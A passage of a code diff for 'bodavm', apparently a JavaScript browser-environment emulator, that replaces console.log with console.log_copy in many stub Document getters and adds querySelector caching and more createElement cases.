"!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onchange_get = function Document_onchange_get() { console.log("Document_onchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onclick_get = function Document_onclick_get() { console.log("Document_onclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onclose_get = function Document_onclose_get() { console.log("Document_onclose_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncontextlost_get = function Document_oncontextlost_get() { console.log("Document_oncontextlost_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncontextmenu_get = function Document_oncontextmenu_get() { console.log("Document_oncontextmenu_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncontextrestored_get = function Document_oncontextrestored_get() { console.log("Document_oncontextrestored_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncopy_get = function Document_oncopy_get() { console.log("Document_oncopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncuechange_get = function Document_oncuechange_get() { console.log("Document_oncuechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncut_get = function Document_oncut_get() { console.log("Document_oncut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondblclick_get = function Document_ondblclick_get() { console.log("Document_ondblclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondrag_get = function Document_ondrag_get() { console.log("Document_ondrag_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondragend_get = function Document_ondragend_get() { console.log("Document_ondragend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondragenter_get = function Document_ondragenter_get() { console.log("Document_ondragenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondragleave_get = function Document_ondragleave_get() { console.log("Document_ondragleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondragover_get = function Document_ondragover_get() { console.log("Document_ondragover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondragstart_get = function Document_ondragstart_get() { console.log("Document_ondragstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondrop_get = function Document_ondrop_get() { console.log("Document_ondrop_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondurationchange_get = function Document_ondurationchange_get() { console.log("Document_ondurationchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onended_get = function Document_onended_get() { console.log("Document_onended_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onemptied_get = function Document_onemptied_get() { console.log("Document_onemptied_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onerror_get = function Document_onerror_get() { console.log("Document_onerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onfocus_get = function Document_onfocus_get() { console.log("Document_onfocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onformdata_get = function Document_onformdata_get() { console.log("Document_onformdata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onfreeze_get = function Document_onfreeze_get() { console.log("Document_onfreeze_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onfullscreenchange_get = function Document_onfullscreenchange_get() { console.log("Document_onfullscreenchange_get ", undefined, "!!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onfullscreenerror_get = function Document_onfullscreenerror_get() { console.log("Document_onfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ongotpointercapture_get = function Document_ongotpointercapture_get() { console.log("Document_ongotpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oninput_get = function Document_oninput_get() { console.log("Document_oninput_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oninvalid_get = function Document_oninvalid_get() { console.log("Document_oninvalid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onkeydown_get = function Document_onkeydown_get() { console.log("Document_onkeydown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onkeyup_get = function Document_onkeyup_get() { console.log("Document_onkeyup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onload_get = function Document_onload_get() { console.log("Document_onload_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onloadeddata_get = function Document_onloadeddata_get() { console.log("Document_onloadeddata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onloadedmetadata_get = function Document_onloadedmetadata_get() { console.log("Document_onloadedmetadata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onlostpointercapture_get = function Document_onlostpointercapture_get() { console.log("Document_onlostpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onloadstart_get = function Document_onloadstart_get() { console.log("Document_onloadstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmousedown_get = function Document_onmousedown_get() { console.log("Document_onmousedown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmouseenter_get = function Document_onmouseenter_get() { console.log("Document_onmouseenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmouseleave_get = function Document_onmouseleave_get() { console.log("Document_onmouseleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmouseout_get = function Document_onmouseout_get() { console.log("Document_onmouseout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmouseover_get = function Document_onmouseover_get() { console.log("Document_onmouseover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmouseup_get = function Document_onmouseup_get() { console.log("Document_onmouseup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onmousewheel_get = function Document_onmousewheel_get() { console.log("Document_onmousewheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpaste_get = function Document_onpaste_get() { console.log("Document_onpaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpause_get = function Document_onpause_get() { console.log("Document_onpause_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onplay_get = function Document_onplay_get() { console.log("Document_onplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onplaying_get = function Document_onplaying_get() { console.log("Document_onplaying_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointercancel_get = function Document_onpointercancel_get() { console.log("Document_onpointercancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerdown_get = function Document_onpointerdown_get() { console.log("Document_onpointerdown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerenter_get = function Document_onpointerenter_get() { console.log("Document_onpointerenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerleave_get = function Document_onpointerleave_get() { console.log("Document_onpointerleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerlockerror_get = function Document_onpointerlockerror_get() { console.log("Document_onpointerlockerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerlockchange_get = function Document_onpointerlockchange_get() { console.log("Document_onpointerlockchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointermove_get = function Document_onpointermove_get() { console.log("Document_onpointermove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerout_get = function Document_onpointerout_get() { console.log("Document_onpointerout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerover_get = function Document_onpointerover_get() { console.log("Document_onpointerover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerrawupdate_get = function Document_onpointerrawupdate_get() { console.log("Document_onpointerrawupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onpointerup_get = function Document_onpointerup_get() { console.log("Document_onpointerup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onprogress_get = function Document_onprogress_get() { console.log("Document_onprogress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onratechange_get = function Document_onratechange_get() { console.log("Document_onratechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_defaultView_get = function Document_defaultView_get() { + console.log_copy("Document_defaultView_get ->",`res -> window` ) + + return window + } + bodavm.envFunc.Document_doctype_get = function Document_doctype_get() { console.log_copy("Document_doctype_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_embeds_get = function Document_embeds_get() { console.log_copy("Document_embeds_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_featurePolicy_get = function Document_featurePolicy_get() { console.log_copy("Document_featurePolicy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fgColor_get = function Document_fgColor_get() { console.log_copy("Document_fgColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_firstElementChild_get = function Document_firstElementChild_get() { console.log_copy("Document_firstElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fonts_get = function Document_fonts_get() { console.log_copy("Document_fonts_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fragmentDirective_get = function Document_fragmentDirective_get() { console.log_copy("Document_fragmentDirective_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fullscreen_get = function Document_fullscreen_get() { console.log_copy("Document_fullscreen_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fullscreenElement_get = function Document_fullscreenElement_get() { console.log_copy("Document_fullscreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_fullscreenEnabled_get = function Document_fullscreenEnabled_get() { console.log_copy("Document_fullscreenEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_lastElementChild_get = function Document_lastElementChild_get() { console.log_copy("Document_lastElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_linkColor_get = function Document_linkColor_get() { console.log_copy("Document_linkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_links_get = function Document_links_get() { console.log_copy("Document_links_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onabort_get = function Document_onabort_get() { console.log_copy("Document_onabort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onanimationend_get = function Document_onanimationend_get() { console.log_copy("Document_onanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onanimationiteration_get = function Document_onanimationiteration_get() { console.log_copy("Document_onanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onanimationstart_get = function Document_onanimationstart_get() { console.log_copy("Document_onanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onauxclick_get = function Document_onauxclick_get() { console.log_copy("Document_onauxclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onbeforecopy_get = function Document_onbeforecopy_get() { console.log_copy("Document_onbeforecopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onbeforepaste_get = function Document_onbeforepaste_get() { console.log_copy("Document_onbeforepaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncanplaythrough_get = function Document_oncanplaythrough_get() { console.log_copy("Document_oncanplaythrough_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onchange_get = function Document_onchange_get() { console.log_copy("Document_onchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onclick_get = function Document_onclick_get() { console.log_copy("Document_onclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onclose_get = function Document_onclose_get() { console.log_copy("Document_onclose_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncontextlost_get = function Document_oncontextlost_get() { console.log_copy("Document_oncontextlost_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncontextmenu_get = function Document_oncontextmenu_get() { console.log_copy("Document_oncontextmenu_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncontextrestored_get = function Document_oncontextrestored_get() { console.log_copy("Document_oncontextrestored_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncopy_get = function Document_oncopy_get() { console.log_copy("Document_oncopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncuechange_get = function Document_oncuechange_get() { console.log_copy("Document_oncuechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncut_get = function Document_oncut_get() { console.log_copy("Document_oncut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondblclick_get = function Document_ondblclick_get() { console.log_copy("Document_ondblclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondrag_get = function Document_ondrag_get() { console.log_copy("Document_ondrag_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondragend_get = function Document_ondragend_get() { console.log_copy("Document_ondragend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondragenter_get = function Document_ondragenter_get() { console.log_copy("Document_ondragenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondragleave_get = function Document_ondragleave_get() { console.log_copy("Document_ondragleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondragover_get = function Document_ondragover_get() { console.log_copy("Document_ondragover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondragstart_get = function Document_ondragstart_get() { console.log_copy("Document_ondragstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondrop_get = function Document_ondrop_get() { console.log_copy("Document_ondrop_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ondurationchange_get = function Document_ondurationchange_get() { console.log_copy("Document_ondurationchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onended_get = function Document_onended_get() { console.log_copy("Document_onended_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onemptied_get = function Document_onemptied_get() { console.log_copy("Document_onemptied_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onerror_get = function Document_onerror_get() { console.log_copy("Document_onerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onfocus_get = function Document_onfocus_get() { console.log_copy("Document_onfocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onformdata_get = function Document_onformdata_get() { console.log_copy("Document_onformdata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onfreeze_get = function Document_onfreeze_get() { console.log_copy("Document_onfreeze_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onfullscreenchange_get = function Document_onfullscreenchange_get() { console.log_copy("Document_onfullscreenchange_get ", undefined, "!!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onfullscreenerror_get = function Document_onfullscreenerror_get() { console.log_copy("Document_onfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ongotpointercapture_get = function Document_ongotpointercapture_get() { console.log_copy("Document_ongotpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oninput_get = function Document_oninput_get() { console.log_copy("Document_oninput_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oninvalid_get = function Document_oninvalid_get() { console.log_copy("Document_oninvalid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onkeydown_get = function Document_onkeydown_get() { console.log_copy("Document_onkeydown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onkeyup_get = function Document_onkeyup_get() { console.log_copy("Document_onkeyup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onload_get = function Document_onload_get() { console.log_copy("Document_onload_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onloadeddata_get = function Document_onloadeddata_get() { console.log_copy("Document_onloadeddata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onloadedmetadata_get = function Document_onloadedmetadata_get() { console.log_copy("Document_onloadedmetadata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onlostpointercapture_get = function Document_onlostpointercapture_get() { console.log_copy("Document_onlostpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onloadstart_get = function Document_onloadstart_get() { console.log_copy("Document_onloadstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmousedown_get = function Document_onmousedown_get() { console.log_copy("Document_onmousedown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmouseenter_get = function Document_onmouseenter_get() { console.log_copy("Document_onmouseenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmouseleave_get = function Document_onmouseleave_get() { console.log_copy("Document_onmouseleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmouseout_get = function Document_onmouseout_get() { console.log_copy("Document_onmouseout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmouseover_get = function Document_onmouseover_get() { console.log_copy("Document_onmouseover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmouseup_get = function Document_onmouseup_get() { console.log_copy("Document_onmouseup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onmousewheel_get = function Document_onmousewheel_get() { console.log_copy("Document_onmousewheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpaste_get = function Document_onpaste_get() { console.log_copy("Document_onpaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpause_get = function Document_onpause_get() { console.log_copy("Document_onpause_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onplay_get = function Document_onplay_get() { console.log_copy("Document_onplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onplaying_get = function Document_onplaying_get() { console.log_copy("Document_onplaying_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointercancel_get = function Document_onpointercancel_get() { console.log_copy("Document_onpointercancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerdown_get = function Document_onpointerdown_get() { console.log_copy("Document_onpointerdown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerenter_get = function Document_onpointerenter_get() { console.log_copy("Document_onpointerenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerleave_get = function Document_onpointerleave_get() { console.log_copy("Document_onpointerleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerlockerror_get = function Document_onpointerlockerror_get() { console.log_copy("Document_onpointerlockerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerlockchange_get = function Document_onpointerlockchange_get() { console.log_copy("Document_onpointerlockchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointermove_get = function Document_onpointermove_get() { console.log_copy("Document_onpointermove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerout_get = function Document_onpointerout_get() { console.log_copy("Document_onpointerout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerover_get = function Document_onpointerover_get() { console.log_copy("Document_onpointerover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerrawupdate_get = function Document_onpointerrawupdate_get() { console.log_copy("Document_onpointerrawupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onpointerup_get = function Document_onpointerup_get() { console.log_copy("Document_onpointerup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onprogress_get = function Document_onprogress_get() { console.log_copy("Document_onprogress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onratechange_get = function Document_onratechange_get() { console.log_copy("Document_onratechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Document_querySelector = function Document_querySelector() { + arg=arguments[0] + if ((!bodavm.memory.cache['Document_querySelector'][arg])){ + bodavm.memory.cache['Document_querySelector'][arg]={} + }else{ + console.log_copy(`Document_querySelector ->`,`arg->`,arg,'已存在直接返回') + return bodavm.memory.cache['Document_querySelector'][arg] + } + select=bodavm.memory.cache['Document_querySelector'][arg] + + let res=this._boarg.querySelector(arg) + select._boarg=res + console.log_copy("Document_querySelector ->",`-> res ->${res}`) - let res=this._boarg.querySelector(arguments[0]) - console.log("Document_querySelector ->",`-> res ->${res}`) - if (res){debugger} + res=bodavm.toolsFunc.setProto(res.nodeName) + // if (res){debugger} return res } bodavm.envFunc.Document_write=function (){ let html = arguments[0] bodaobj.document.write(html) - console.log(`Document_write `, `html ->${html}`); + console.log_copy(`Document_write `, `html ->${html}`); } bodavm.envFunc.Document_createEvent = function Document_createEvent() { // debugger @@ -2448,20 +2613,20 @@ case 'MOUSEEVENT': event.__proto__ = bodavm.memory.globalobj['MouseEvent'].prototype - console.log(`Document_createEvent `, event); + console.log_copy(`Document_createEvent `, event); bodavm.toolsFunc.symbolProperty(event) return event case 'EVENT': event.__proto__ = bodavm.memory.globalobj['Event'].prototype - console.log(`Document_createEvent `, event); + console.log_copy(`Document_createEvent `, event); bodavm.toolsFunc.symbolProperty(event) return event case "TOUCHEVENT": - console.log(`Document_createEvent `, event, ` 该事件只有在触摸平面(触摸屏、触摸板等)才会触发`); + console.log_copy(`Document_createEvent `, event, ` 该事件只有在触摸平面(触摸屏、触摸板等)才会触发`); return bodavm.toolsFunc.throwError('DOMException', `Failed to execute 'createEvent'on 'Document': The provided event type ('TouchEvent') is invalid.`) default: - console.log(`Document_createEvent `, `${arg} 未实现`); + console.log_copy(`Document_createEvent `, `${arg} 未实现`); } @@ -2469,7 +2634,7 @@ } bodavm.envFunc.Document_scripts_get = function Document_scripts_get() { if (bodavm.memory.collection["scripts"]){ - console.log(`Document_scripts_get 在bodavm.memory.collection[${"scripts"}] 已存在,直接返回`) + console.log_copy(`Document_scripts_get 在bodavm.memory.collection[${"scripts"}] 已存在,直接返回`) return bodavm.memory.collection["scripts"] } // let res = {} @@ -2506,7 +2671,7 @@ if (target.__proto__ ==Array.prototype){ return true } - console.log(target,`正在删除属性`,propkey,`默认返回false`); + console.log_copy(target,`正在删除属性`,propkey,`默认返回false`); return false } }) @@ -2516,7 +2681,7 @@ bodavm.memory.collection["scripts"].__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype bodavm.memory.collection["scripts"]._boarg = taglist - console.log(`Document_scripts_get `, `-> res ->${bodavm.memory.collection["scripts"]}`); + console.log_copy(`Document_scripts_get `, `-> res ->${bodavm.memory.collection["scripts"]}`); bodavm.memory.collection["scripts"].__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; return bodavm.memory.collection["scripts"] } @@ -2528,7 +2693,7 @@ bodavm.envFunc.Document_forms_get = function Document_forms_get() { if (bodavm.config.isdebug) { debugger };; let forms = this[0]._tagelements["FORM"] - console.log(`Document_forms_get `, `${forms} `); + console.log_copy(`Document_forms_get `, `${forms} `); return forms @@ -2537,7 +2702,7 @@ bodavm.envFunc.Document_URL_get = function Document_URL_get() { let URL = bodaobj.document["URL"] - console.log(`Document_URL_get `, `${URL} `); + console.log_copy(`Document_URL_get `, `${URL} `); if (bodavm.config.isdebug) { debugger };; return URL } @@ -2554,19 +2719,19 @@ let minutes = date.getMinutes() let seconds = date.getSeconds() let time = `${month}/${day}/${year} ${hours}->${minutes}->${seconds}` - console.log(`Document_lastModified_get `, `${time} `); + console.log_copy(`Document_lastModified_get `, `${time} `); return time; } bodavm.envFunc.Document_contentType_get = function Document_contentType_get() { let contenttype = bodaobj.document['contentType'] - console.log(`Document_contentType_get `, `${contenttype} `); + console.log_copy(`Document_contentType_get `, `${contenttype} `); if (bodavm.config.isdebug) { debugger };; return contenttype } bodavm.envFunc.Document_inputEncoding_get = function Document_inputEncoding_get() { let inputEncoding = bodaobj.document['inputEncoding'] - console.log(`Document_inputEncoding_get `, `${inputEncoding} `); + console.log_copy(`Document_inputEncoding_get `, `${inputEncoding} `); if (bodavm.config.isdebug) { debugger };; return inputEncoding @@ -2575,16 +2740,49 @@ if (bodavm.config.isdebug) { debugger } let referrer = bodaobj.document["referrer"] - console.log(`Document_referrer_get `, `${referrer} `); + console.log_copy(`Document_referrer_get `, `${referrer} `); return referrer } bodavm.envFunc.Document_createElement = function Document_createElement() { + if (typeof arguments[0] !=='string'){ + return bodavm.toolsFunc.throwError('DOMException',`Failed to execute 'createElement' on 'Document': The tag name provided ('${arguments[0]}') is not a valid name.`) + } let tagName = arguments[0].toLowerCase(); let options = arguments[1]; var dom = {} if (bodavm.config.isdebug) { debugger }; switch (tagName) { + case "option": + dom._boarg = bodaobj.document.createElement('option') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLOptionElement'].prototype) + break; + case "select": + dom._boarg = bodaobj.document.createElement('select') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLSelectElement'].prototype) + break; + + case "ul": + + dom._boarg = bodaobj.document.createElement('ul') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLUListElement'].prototype) + break; + case "h4": + + dom._boarg = bodaobj.document.createElement('h4') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLHeadingElement'].prototype) + break; + case "h3": + + dom._boarg = bodaobj.document.createElement('h3') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLHeadingElement'].prototype) + break; + case "h2": + + dom._boarg = bodaobj.document.createElement('h2') + dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLHeadingElement'].prototype) + break; + case "div": dom._boarg = bodaobj.document.createElement('div') @@ -2628,7 +2826,13 @@ dom._boarg = bodaobj.document.createElement('form') dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLFormElement'].prototype) + // dom=new Proxy(dom,{ + // delete(target,porp){ + // debugger + // } + // }) 